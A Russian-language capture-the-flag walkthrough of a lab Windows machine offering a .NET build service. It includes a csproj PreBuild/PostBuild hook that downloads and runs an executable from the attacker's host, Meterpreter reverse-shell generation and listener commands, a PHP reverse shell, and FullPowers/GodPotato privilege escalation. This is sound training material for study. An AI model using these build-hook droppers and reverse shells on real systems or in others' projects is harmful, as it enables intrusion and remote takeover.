Обзор сервисов

Машине присвоен IP-адрес 10.10.11.234, запустим стандартный nmap:

$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.234 10.10.11.234
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-01 19:55 GMT
Nmap scan report for 10.10.11.234
Host is up (0.068s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 107.76 seconds

Открыт только HTTP-порт.

Веб-сервис

Alt text

Нам предлагается отправить ссылку на проект под DotNet для компиляции проекта.

We currently support .NET 6.0 and C# programs, so make sure your Git Repo includes a .sln file for successful compilation. Trust Visual to simplify and streamline your project compilation process like never before.

Создаем проект и любое консольное приложение.

dotnet new sln -o Repo
cd Repo
dotnet new console -o Repo.ConsoleApp --framework net6.0
dotnet sln Repo.sln add Repo.ConsoleApp/Repo.ConsoleApp.csproj

Program.cs:

namespace Program
{
 public class Program
 {
  public static void Main(string[] args)
  {
   Console.WriteLine("Hello world");
  }
 }
}

Используем PreBuild и PostBuild из ссылки https://learn.microsoft.com/en-us/visualstudio/ide/reference/pre-build-event-post-build-event-command-line-dialog-box?view=vs-2022.

Добавим в Repo.ConsoleApp.csproj наши действия:

<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="certutil -urlcache -f http://10.10.14.5:4243/s.exe %temp%/s.exe" />
</Target>

<Target Name="PostBuild" AfterTargets="PostBuildEvent">
  <Exec Command="start %temp%/s.exe" />
</Target>

Сгенерируем шелл и запустим слушателя:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4244 -f exe > s.exe
$ msfconsole
msf6 > use multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set lport 4244
msf6 > set lhost tun0
msf6 > run

Запустим веб-сервер со сгенерированным шеллом:

python3 -m http.server 4243

Запустим через podman простой сервер Gitea и загрузим в него наш проект (там нужно пройти установку, регистрацию и залить наш проект в качестве репозитория в гите).

mkdir data
podman run --rm -it -v ./data:/data -p 3000:3000 gitea/gitea

Теперь можно отправлять ссылку на сборку:

http://10.10.14.5:3000/username/Repo

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

У нашего пользователя есть возможность писать в каталог C:\xampp\htdocs. Сгенерируем шелл, загрузим его и поймаем по аналогии выше.

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4245 -f raw > 8a.php
curl http://10.10.11.234/8a.php

Alt text

Alt text

Загрузим FullPowers.exe (https://github.com/itm4n/FullPowers) и расширим привилегии.

Alt text

Теперь с помощью GodPotato нужно имперсонироваться, для этого запустим свой очередной реверс-шелл.

GodPotato-NET4.exe -cmd "C:\xampp\htdocs\uploads\s3.exe"

Alt text

Alt text

Флаг суперпользователя

Alt text